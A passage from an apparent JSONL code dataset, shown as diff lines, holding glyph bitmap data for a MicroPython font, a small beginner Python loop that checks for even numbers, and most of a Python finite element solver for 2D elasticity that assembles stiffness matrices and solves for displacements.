983043, 1048575, 1048575, 1048575, 1048575],\n51: [10, 1048575, 1048575, 1048575, 1048575, 1032207, 786435, 802767, 802815, 790527, 983103, 983103, 790527, 802815, 790515, 983043, 1032207, 1048575, 1048575, 1048575, 1048575],\n52: [10, 1048575, 1048575, 1048575, 1048575, 987135, 984063, 983295, 986175, 986943, 986895, 987075, 786435, 786435, 987135, 987135, 987135, 1048575, 1048575, 1048575, 1048575],\n53: [10, 1048575, 1048575, 1048575, 1048575, 786447, 786447, 1048335, 1048335, 1032207, 983055, 790527, 802815, 802815, 790515, 983043, 1032207, 1048575, 1048575, 1048575, 1048575],\n54: [10, 1048575, 1048575, 1048575, 1048575, 984063, 983103, 1047567, 1048335, 1032195, 983043, 802755, 802755, 802755, 790275, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n55: [10, 1048575, 1048575, 1048575, 1048575, 786435, 786435, 802815, 987135, 1033215, 1033215, 1044735, 1044735, 1044735, 1047615, 1047615, 1047615, 1048575, 1048575, 1048575, 1048575],\n56: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 786447, 802755, 802755, 986883, 1032207, 983055, 790467, 802755, 802755, 983043, 1032255, 1048575, 1048575, 1048575, 1048575],\n57: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 790275, 802755, 802755, 802755, 786447, 786495, 987135, 984063, 1032207, 1047567, 1048575, 1048575, 1048575, 1048575],\n58: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1048575],\n59: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1032447, 1032447, 1032447, 1033215, 1044735, 1047615, 1048575],\n60: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802815, 984063, 1047567, 1048515, 1047567, 984063, 802815, 1048575, 1048575, 1048575, 1048575, 1048575],\n61: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786435, 1048575, 1048575, 786435, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n62: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048515, 1047567, 984063, 802815, 984063, 1047567, 1048515, 1048575, 1048575, 1048575, 1048575, 1048575],\n63: [10, 1048575, 1048575, 1048575, 1048575, 1032207, 983043, 987123, 987135, 1033215, 1044735, 1047615, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1048575],\n64: [10, 1048575, 1048575, 1048575, 1048575, 1032447, 983103, 790287, 802575, 802755, 787395, 786627, 798915, 798915, 786627, 787395, 1048335, 1047567, 983103, 983295, 1048575],\n65: [10, 1048575, 1048575, 1048575, 1048575, 1044543, 1032975, 1032975, 1032975, 1032975, 986883, 987075, 987075, 983043, 983040, 802800, 802800, 1048575, 1048575, 1048575, 1048575],\n66: [10, 1048575, 1048575, 1048575, 1048575, 1044483, 983043, 987075, 987075, 987075, 1044483, 983043, 802755, 802755, 790467, 983043, 1032195, 1048575, 1048575, 1048575, 1048575],\n67: [10, 1048575, 1048575, 1048575, 1048575, 983295, 786495, 850959, 1048323, 1048515, 1048515, 1048515, 1048515, 1048323, 851727, 786447, 983295, 1048575, 1048575, 1048575, 1048575],\n68: [10, 1048575, 1048575, 1048575, 1048575, 1044483, 983043, 987075, 802755, 802755, 802755, 802755, 802755, 802755, 987075, 983043, 1044483, 1048575, 1048575, 1048575, 1048575],\n69: [10, 1048575, 1048575, 1048575, 1048575, 786447, 786447, 1048335, 1048335, 1048335, 983055, 983055, 1048335, 1048335, 1048335, 786447, 786447, 1048575, 1048575, 1048575, 1048575],\n70: [10, 1048575, 1048575, 1048575, 1048575, 786447, 786447, 1048335, 1048335, 1048335, 983055, 983055, 1048335, 1048335, 1048335, 1048335, 1048335, 1048575, 1048575, 1048575, 1048575],\n71: [10, 1048575, 1048575, 1048575, 1048575, 983295, 786495, 850959, 1048323, 1048515, 1048515, 802755, 802755, 802563, 802575, 786447, 786687, 1048575, 1048575, 1048575, 1048575],\n72: [10, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 802755, 802755, 802755, 786435, 786435, 802755, 802755, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n73: [10, 1048575, 1048575, 1048575, 1048575, 983055, 983055, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 983055, 983055, 1048575, 1048575, 1048575, 1048575],\n74: [10, 1048575, 1048575, 1048575, 1048575, 983055, 983055, 987135, 987135, 987135, 987135, 987135, 987135, 987135, 984051, 1032195, 1044495, 1048575, 1048575, 1048575, 1048575],\n75: [10, 1048575, 1048575, 1048575, 1048575, 802755, 987075, 1033155, 1032387, 1044675, 1047555, 1044483, 1044675, 1033155, 987075, 987075, 802755, 1048575, 1048575, 1048575, 1048575],\n76: [10, 1048575, 1048575, 1048575, 1048575, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 786447, 786447, 1048575, 1048575, 1048575, 1048575],\n77: [10, 1048575, 1048575, 1048575, 1048575, 986895, 986895, 986895, 789519, 798915, 798915, 798915, 798915, 802755, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n78: [10, 1048575, 1048575, 1048575, 1048575, 802755, 802563, 802563, 801987, 801987, 799683, 799683, 799683, 790467, 790467, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n79: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 986895, 802755, 802755, 802755, 802755, 802755, 802755, 986895, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n80: [10, 1048575, 1048575, 1048575, 1048575, 1032195, 983043, 790467, 802755, 802755, 790467, 983043, 1032195, 1048515, 1048515, 1048515, 1048515, 1048575, 1048575, 1048575, 1048575],\n81: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 986895, 802755, 802755, 802755, 802755, 802755, 802755, 790275, 983055, 1032255, 1032447, 787455, 802815, 1048575],\n82: [10, 1048575, 1048575, 1048575, 1048575, 1032195, 983043, 790467, 802755, 802755, 790467, 983043, 1032195, 987075, 987075, 802755, 65475, 1048575, 1048575, 1048575, 1048575],\n83: [10, 1048575, 1048575, 1048575, 1048575, 983103, 786447, 851907, 1048515, 1048323, 1032207, 983103, 790527, 802815, 802803, 786435, 1032207, 1048575, 1048575, 1048575, 1048575],\n84: [10, 1048575, 1048575, 1048575, 1048575, 786435, 786435, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575, 1048575, 1048575, 1048575],\n85: [10, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 802755, 802755, 802755, 802755, 802755, 802755, 802755, 790275, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n86: [10, 1048575, 1048575, 1048575, 1048575, 802800, 802800, 987075, 987075, 987075, 986883, 1032975, 1032975, 1032207, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1048575],\n87: [10, 1048575, 1048575, 1048575, 1048575, 65520, 65520, 65520, 65520, 61680, 61680, 61680, 53040, 53040, 53040, 16320, 16320, 1048575, 1048575, 1048575, 1048575],\n88: [10, 1048575, 1048575, 1048575, 1048575, 802800, 987075, 987075, 1032975, 1044543, 1044543, 1044543, 1032207, 1032975, 987075, 987075, 802800, 1048575, 1048575, 1048575, 1048575],\n89: [10, 1048575, 1048575, 1048575, 1048575, 65520, 802755, 802755, 986895, 986895, 1032255, 1032255, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575, 1048575, 1048575, 1048575],\n90: [10, 1048575, 1048575, 1048575, 1048575, 786435, 786435, 790527, 987135, 1033215, 1044735, 1044543, 1047615, 1048335, 1048323, 786435, 786435, 1048575, 1048575, 1048575, 1048575],\n91: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1032255, 1048575],\n92: [10, 1048575, 1048575, 1048575, 1048563, 1048527, 1048527, 1048527, 1048383, 1048383, 1048383, 1047807, 1047807, 1045503, 1045503, 1045503, 1036287, 1036287, 1036287, 999423, 1048575],\n93: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1032255, 1048575],\n94: [10, 1048575, 1048575, 1048575, 1048575, 1047807, 1044543, 1045311, 1036239, 987075, 999411, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n95: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786432, 1048575],\n96: [10, 1048575, 1048575, 1048575, 1048383, 1047807, 1045503, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n97: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 983055, 786447, 802815, 786495, 802755, 802755, 802755, 786435, 786495, 1048575, 1048575, 1048575, 1048575],\n98: [10, 1048575, 1048575, 1048575, 1048515, 1048515, 1048515, 1048515, 1032195, 983043, 790467, 802755, 802755, 802755, 790467, 983043, 1032195, 1048575, 1048575, 1048575, 1048575],\n99: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786687, 786447, 1048323, 1048515, 1048515, 1048515, 1048323, 786447, 786495, 1048575, 1048575, 1048575, 1048575],\n100: [10, 1048575, 1048575, 1048575, 802815, 802815, 802815, 802815, 786495, 786447, 802563, 802755, 802755, 802755, 802563, 786447, 786495, 1048575, 1048575, 1048575, 1048575],\n101: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032255, 786447, 802755, 786435, 1048515, 1048515, 1048323, 983055, 983103, 1048575, 1048575, 1048575, 1048575],\n102: [10, 1048575, 1048575, 1048575, 255, 63, 1047615, 1047615, 786435, 786435, 1047615, 1047615, 1047615, 1047615, 1047615, 1047615, 1047615, 1048575, 1048575, 1048575, 1048575],\n103: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786495, 786447, 802563, 802755, 802755, 802755, 802563, 786447, 786495, 802815, 983043, 1032195, 1048575],\n104: [10, 1048575, 1048575, 1048575, 1048515, 1048515, 1048515, 1048515, 1032195, 983043, 790467, 802755, 802755, 802755, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n105: [10, 1048575, 1048575, 1048575, 1048575, 1044735, 1044735, 1048575, 1044483, 1044483, 1044735, 1044735, 1044735, 1044735, 1044735, 786687, 787455, 1048575, 1048575, 1048575, 1048575],\n106: [10, 1048575, 1048575, 1048575, 1048575, 1033215, 1033215, 1048575, 983055, 983055, 987135, 987135, 987135, 987135, 987135, 987135, 987135, 987135, 983043, 1032207, 1048575],\n107: [10, 1048575, 1048575, 1048575, 1048515, 1048515, 1048515, 1048515, 790467, 984003, 1032387, 1044483, 1047555, 1044675, 1033155, 987075, 802755, 1048575, 1048575, 1048575, 1048575],\n108: [10, 1048575, 1048575, 1048575, 1044483, 1044483, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 786687, 787455, 1048575, 1048575, 1048575, 1048575],\n109: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 983043, 786435, 798915, 798915, 798915, 798915, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n110: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032195, 983043, 790467, 802755, 802755, 802755, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n111: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 790275, 802755, 802755, 802755, 790275, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n112: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032195, 983043, 790467, 802755, 802755, 802755, 790467, 983043, 1032195, 1048515, 1048515, 1048515, 1048575],\n113: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786495, 786447, 802563, 802755, 802755, 802755, 802563, 786447, 786495, 802815, 802815, 802815, 1048575],\n114: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786495, 786447, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048575, 1048575, 1048575, 1048575],\n115: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786495, 786435, 1048515, 1047555, 983055, 787455, 802803, 786435, 983055, 1048575, 1048575, 1048575, 1048575],\n116: [10, 1048575, 1048575, 1048575, 1048575, 1047615, 1047615, 1047615, 786435, 786435, 1047615, 1047615, 1047615, 1047615, 1047615, 786495, 786687, 1048575, 1048575, 1048575, 1048575],\n117: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 802755, 802755, 802755, 802755, 802563, 786447, 786495, 1048575, 1048575, 1048575, 1048575],\n118: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 986895, 986895, 986895, 986895, 1032255, 1032255, 1032255, 1048575, 1048575, 1048575, 1048575],\n119: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802800, 802800, 802032, 802032, 998451, 983811, 983811, 983811, 987075, 1048575, 1048575, 1048575, 1048575],\n120: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802755, 986895, 1032255, 1032255, 1044735, 1032255, 1035327, 986895, 802755, 1048575, 1048575, 1048575, 1048575],\n121: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 802575, 986895, 986895, 986175, 986175, 983103, 1032447, 1032447, 1044483, 1047555, 1048575],\n122: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 983043, 983043, 1033215, 1044735, 1047615, 1048335, 1048335, 983043, 983043, 1048575, 1048575, 1048575, 1048575],\n123: [10, 1048575, 1048575, 1048575, 787455, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1048335, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 787455, 1048575],\n124: [10, 1048575, 1048575, 1048575, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575],\n125: [10, 1048575, 1048575, 1048575, 1047555, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 987135, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1047555, 1048575],\n126: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 850959, 786435, 984051, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n}\n", "source": "TheVinhLuong102/micropy-stubs", "license": "MIT"}
+{"text": "#User gives input and loop continues until user keeps entering even numbers \nEvennumber=0;\n\nwhile(Evennumber%2==0):\n print(\"Let me check if the entered number is even or not\");\n Evennumber=int(input());\n if(Evennumber%2==0):\n print(\"Number enter is even\");\n if(Evennumber%2!=0):\n print(\"You have not entered the Even number\");\n#If the entered number is not Even the loop doesn't continue and breaks\n continue;\n \n\n\n \n \n\n\n \n\n\n \n", "source": "anayakoti/FirstSample", "license": "bzip2-1.0.6"}
+{"text": "import numpy as np \nimport scipy\n# from sksparse.cholmod import cholesky # It works (from Terminal).\nfrom scipy.sparse.linalg import spsolve\nimport time\nimport sys, os\nsys.path.append(os.path.dirname(sys.path[0]))\nfrom elementLibrary import stiffnessMatrix, shapeFunction\nfrom otherFunctions import numericalIntegration\nfrom linearSolvers import AMORE\nfrom meshTools import toDC\n\ndef lowerOrderFE(inputData):\n \"\"\"The solver for lower order finite elements (4-node quads & 3-node triangles).\"\"\"\n startTime=time.time()\n\n parameters=inputData[0]\n\n # Material matrices.\n materialList=inputData[6]\n\n materialMatrix=[None]*len(materialList)\n\n for i in range(len(materialList)):\n materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1])\n \n # Assemble stiffness matrix.\n coordinates=inputData[5]\n meshes=inputData[3]\n materialMeshList=inputData[4]\n\n Iglo=[]\n Jglo=[]\n Vglo=[]\n\n for i in range(len(meshes[0])):\n coord=AMORE.getCoord(coordinates,meshes[0][i])\n\n if len(meshes[0][i])==3:\n Kloc=stiffnessMatrix.triFE(coord,materialMatrix[materialMeshList[0][i]])\n elif len(meshes[0][i])==4:\n Kloc=stiffnessMatrix.quadFE(coord,materialMatrix[materialMeshList[0][i]])\n else: raise ValueError(\"Wrong element numbering!\")\n \n Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[0][i])\n Iglo.extend(Iloc)\n Jglo.extend(Jloc)\n Vglo.extend(Vloc)\n\n Iglo=np.array(Iglo,dtype=int)\n Jglo=np.array(Jglo,dtype=int)\n Vglo=np.array(Vglo,dtype='d')\n\n Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr()\n \n print(\"Assembling stiffness matrix costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n\n # Force term.\n indForce=inputData[-2]\n if indForce[0]: # Body force is imposed.\n pass\n\n forceList=inputData[-1]\n\n nInt=2\n if indForce[1]: nInt+=3 # Customized boundary force.\n\n pos,wei=numericalIntegration.gaussQuad(nInt)\n fglo=np.zeros((2*len(coordinates),1))\n\n for i in range(len(forceList)//2):\n node1=forceList[2*i][0]\n node2=forceList[2*i+1][0]\n length=lenEdge(coordinates[node1],coordinates[node2])\n\n force1=np.array([forceList[2*i][1:3]]).transpose()\n force2=np.array([forceList[2*i+1][1:3]]).transpose()\n\n floc=np.zeros((4,1))\n\n for j in range(nInt):\n Nmat=shapeFunction.oneDLinear(pos[j])\n force=Nmat[0,0]*force1+Nmat[0,2]*force2\n\n floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force)\n\n fglo[2*node1:2*node1+2,0]+=floc[0:2,0]\n fglo[2*node2:2*node2+2,0]+=floc[2:4,0]\n \n print(\"Calculating force term costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n # Impose constraints.\n fixList=np.zeros((2*len(coordinates),1))\n fixIndexList=np.zeros((2*len(coordinates),1),dtype=int)\n\n constraintList=inputData[-3]\n # Very important!!! Sort the constraints!!!\n constraintList.sort(key=lambda item:item[0])\n\n for i in constraintList:\n if i[1]: \n fixList[2*i[0]]=i[3]\n fixIndexList[2*i[0]]=1\n if i[2]: \n fixList[2*i[0]+1]=i[4]\n fixIndexList[2*i[0]+1]=1\n\n # Solve.\n fglo-=(Kglo.dot(fixList))\n\n Kglo_complete=Kglo.copy()\n Kglo=Kglo.tolil()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n fglo=np.delete(fglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n fglo=np.delete(fglo,2*i[0]+1-count)\n count+=1\n\n Kglo=Kglo.transpose()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n count+=1\n\n print(\"Imposing constraints costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n Kglo=Kglo.tocsc()\n print(\"Number of non-zero sparse matrix entries = %s.\"%Kglo.count_nonzero())\n\n # factor=cholesky(Kglo)\n # disp=factor(fglo)\n disp=spsolve(Kglo,fglo)\n\n print(\"Solving the linear system costs %s seconds.\"%(time.time()-startTime))\n\n # The complete displacement solution:\n displacement=np.zeros((2*len(coordinates),1))\n count=0\n for i in range(2*len(coordinates)):\n if fixIndexList[i]: \n displacement[i]=fixList[i]\n count+=1\n else: \n displacement[i]=disp[i-count]\n\n energy=0.5*displacement.transpose()@Kglo_complete@displacement\n\n return displacement,energy\n\ndef ICMFE(inputData):\n \"\"\"The solver for (4-node) ICM finite elements. Warning: The code is only for squares. \n For general quadrilaterals, the formulation needs to be modified to pass patch tests.\"\"\"\n startTime=time.time()\n\n parameters=inputData[0]\n\n # Material matrices.\n materialList=inputData[6]\n\n materialMatrix=[None]*len(materialList)\n\n for i in range(len(materialList)):\n materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1])\n \n # Assemble stiffness matrix.\n coordinates=inputData[5]\n meshes=inputData[3]\n materialMeshList=inputData[4]\n\n Iglo=[]\n Jglo=[]\n Vglo=[]\n\n for i in range(len(meshes[0])):\n coord=AMORE.getCoord(coordinates,meshes[0][i])\n\n if len(meshes[0][i])==4:\n Kloc,_,_=stiffnessMatrix.ICMFE(coord,materialMatrix[materialMeshList[0][i]])\n else: raise ValueError(\"Wrong element numbering!\")\n \n Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[0][i])\n Iglo.extend(Iloc)\n Jglo.extend(Jloc)\n Vglo.extend(Vloc)\n\n Iglo=np.array(Iglo,dtype=int)\n Jglo=np.array(Jglo,dtype=int)\n Vglo=np.array(Vglo,dtype='d')\n\n Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr()\n \n print(\"Assembling stiffness matrix costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n\n # Force term.\n indForce=inputData[-2]\n if indForce[0]: # Body force is imposed.\n pass\n\n forceList=inputData[-1]\n\n nInt=2\n if indForce[1]: nInt+=3 # Customized boundary force.\n\n pos,wei=numericalIntegration.gaussQuad(nInt)\n fglo=np.zeros((2*len(coordinates),1))\n\n for i in range(len(forceList)//2):\n node1=forceList[2*i][0]\n node2=forceList[2*i+1][0]\n length=lenEdge(coordinates[node1],coordinates[node2])\n\n force1=np.array([forceList[2*i][1:3]]).transpose()\n force2=np.array([forceList[2*i+1][1:3]]).transpose()\n\n floc=np.zeros((4,1))\n\n for j in range(nInt):\n Nmat=shapeFunction.oneDLinear(pos[j])\n force=Nmat[0,0]*force1+Nmat[0,2]*force2\n\n floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force)\n\n fglo[2*node1:2*node1+2,0]+=floc[0:2,0]\n fglo[2*node2:2*node2+2,0]+=floc[2:4,0]\n \n print(\"Calculating force term costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n # Impose constraints.\n fixList=np.zeros((2*len(coordinates),1))\n fixIndexList=np.zeros((2*len(coordinates),1),dtype=int)\n\n constraintList=inputData[-3]\n # Very important!!! Sort the constraints!!!\n constraintList.sort(key=lambda item:item[0])\n\n for i in constraintList:\n if i[1]: \n fixList[2*i[0]]=i[3]\n fixIndexList[2*i[0]]=1\n if i[2]: \n fixList[2*i[0]+1]=i[4]\n fixIndexList[2*i[0]+1]=1\n\n # Solve.\n fglo-=(Kglo.dot(fixList))\n\n Kglo_complete=Kglo.copy()\n Kglo=Kglo.tolil()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n fglo=np.delete(fglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n fglo=np.delete(fglo,2*i[0]+1-count)\n count+=1\n\n Kglo=Kglo.transpose()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n count+=1\n\n print(\"Imposing constraints costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n Kglo=Kglo.tocsc()\n print(\"Number of non-zero sparse matrix entries = %s.\"%Kglo.count_nonzero())\n\n # factor=cholesky(Kglo)\n # disp=factor(fglo)\n disp=spsolve(Kglo,fglo)\n\n print(\"Solving the linear system costs %s seconds.\"%(time.time()-startTime))\n\n # The complete displacement solution:\n displacement=np.zeros((2*len(coordinates),1))\n count=0\n for i in range(2*len(coordinates)):\n if fixIndexList[i]: \n displacement[i]=fixList[i]\n count+=1\n else: \n displacement[i]=disp[i-count]\n\n energy=0.5*displacement.transpose()@Kglo_complete@displacement\n\n return displacement,energy\n\ndef quadraticFE(inputData):\n \"\"\"The solver for second order finite elements (9-node quads & 6-node triangles).\"\"\"\n startTime=time.time()\n\n parameters=inputData[0]\n\n # Material matrices.\n materialList=inputData[6]\n\n materialMatrix=[None]*len(materialList)\n\n for i in range(len(materialList)):\n materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1])\n \n # Assemble stiffness matrix.\n coordinates=inputData[5]\n meshes=inputData[3]\n materialMeshList=inputData[4]\n\n nodeElements=toDC.nodeElementList(coordinates,meshes)\n\n Iglo=[]\n Jglo=[]\n Vglo=[]\n\n for i in range(len(meshes[0])):\n coord=AMORE.getCoord(coordinates,meshes[0][i])\n\n if len(meshes[0][i])==6:\n Kloc=stiffnessMatrix.triQuadFE(coord,materialMatrix[materialMeshList[0][i]])\n elif len(meshes[0][i])==9:\n Kloc=stiffnessMatrix.quadQuadFE(coord,materialMatrix[materialMeshList[0][i]])\n else: raise ValueError(\"Wrong element numbering!\")\n \n Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[0][i])\n Iglo.extend(Iloc)\n Jglo.extend(Jloc)\n Vglo.extend(Vloc)\n\n Iglo=np.array(Iglo,dtype=int)\n Jglo=np.array(Jglo,dtype=int)\n Vglo=np.array(Vglo,dtype='d')\n\n Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr()\n \n print(\"Assembling stiffness matrix costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n\n # Force term.\n indForce=inputData[-2]\n if indForce[0]: # Body force is imposed.\n pass\n\n forceList=inputData[-1]\n\n nInt=3\n if indForce[1]: nInt+=2 # Customized boundary force.\n\n pos,wei=numericalIntegration.gaussQuad(nInt)\n fglo=np.zeros((2*len(coordinates),1))\n\n for i in range(len(forceList)//2):\n node1=forceList[2*i][0]\n node2=forceList[2*i+1][0]\n # length=lenEdge(coordinates[node1],coordinates[node2])\n\n # Find the element.\n elementPosition=(set(nodeElements[node1]) & set(nodeElements[node2])).pop()\n numbering=meshes[elementPosition[0]][elementPosition[1]]\n node3=findMidNode(numbering,node1,node2)\n\n force1=np.array([forceList[2*i][1:3]]).transpose()\n force2=np.array([forceList[2*i+1][1:3]]).transpose()\n\n floc=np.zeros((6,1))\n coord=np.array([coordinates[node1],coordinates[node2],[0.0,0.0]])\n if coordinates[node3]: coord[2,:]=np.array(coordinates[node3])\n else: coord[2,:]=0.5*(coord[0,:]+coord[1,:])\n\n for j in range(nInt):\n # Only support linear force distribution.\n # Otherwise, use customized boundary force.\n Nmat=shapeFunction.oneDLinear(pos[j])\n force=Nmat[0,0]*force1+Nmat[0,2]*force2\n\n quadNmat,Jacobian=shapeFunction.oneDQuadratic(pos[j],coord)\n\n floc+=wei[j]*Jacobian*np.matmul(quadNmat.transpose(),force)\n\n fglo[2*node1:2*node1+2,0]+=floc[0:2,0]\n fglo[2*node2:2*node2+2,0]+=floc[2:4,0]\n fglo[2*node3:2*node3+2,0]+=floc[4:6,0]\n \n print(\"Calculating force term costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n # Impose constraints.\n fixList=np.zeros((2*len(coordinates),1))\n fixIndexList=np.zeros((2*len(coordinates),1),dtype=int)\n\n constraintList=inputData[-3]\n # Very important!!! Sort the constraints!!!\n constraintList.sort(key=lambda item:item[0])\n \n for i in constraintList:\n if i[1]: \n fixList[2*i[0]]=i[3]\n fixIndexList[2*i[0]]=1\n if i[2]: \n fixList[2*i[0]+1]=i[4]\n fixIndexList[2*i[0]+1]=1\n\n # Solve.\n fglo-=(Kglo.dot(fixList))\n\n Kglo_complete=Kglo.copy()\n Kglo=Kglo.tolil()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n fglo=np.delete(fglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n fglo=np.delete(fglo,2*i[0]+1-count)\n count+=1\n\n Kglo=Kglo.transpose()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n count+=1\n\n print(\"Imposing constraints costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n Kglo=Kglo.tocsc()\n\n # factor=cholesky(Kglo)\n # disp=factor(fglo)\n disp=spsolve(Kglo,fglo)\n\n print(\"Solving the linear system costs %s seconds.\"%(time.time()-startTime))\n\n # The complete displacement solution:\n displacement=np.zeros((2*len(coordinates),1))\n count=0\n for i in range(2*len(coordinates)):\n if fixIndexList[i]: \n displacement[i]=fixList[i]\n count+=1\n else: \n displacement[i]=disp[i-count]\n\n energy=0.5*displacement.transpose()@Kglo_complete@displacement\n\n return displacement,energy\n\ndef findMidNode(numbering,node1,node2):\n if len(numbering)==6:\n temp=[1,2,0]\n for i in range(3):\n if (numbering[i]==node1 and numbering[temp[i]]==node2) or \\\n (numbering[i]==node2 and numbering[temp[i]]==node1):\n return numbering[i+3]\n elif 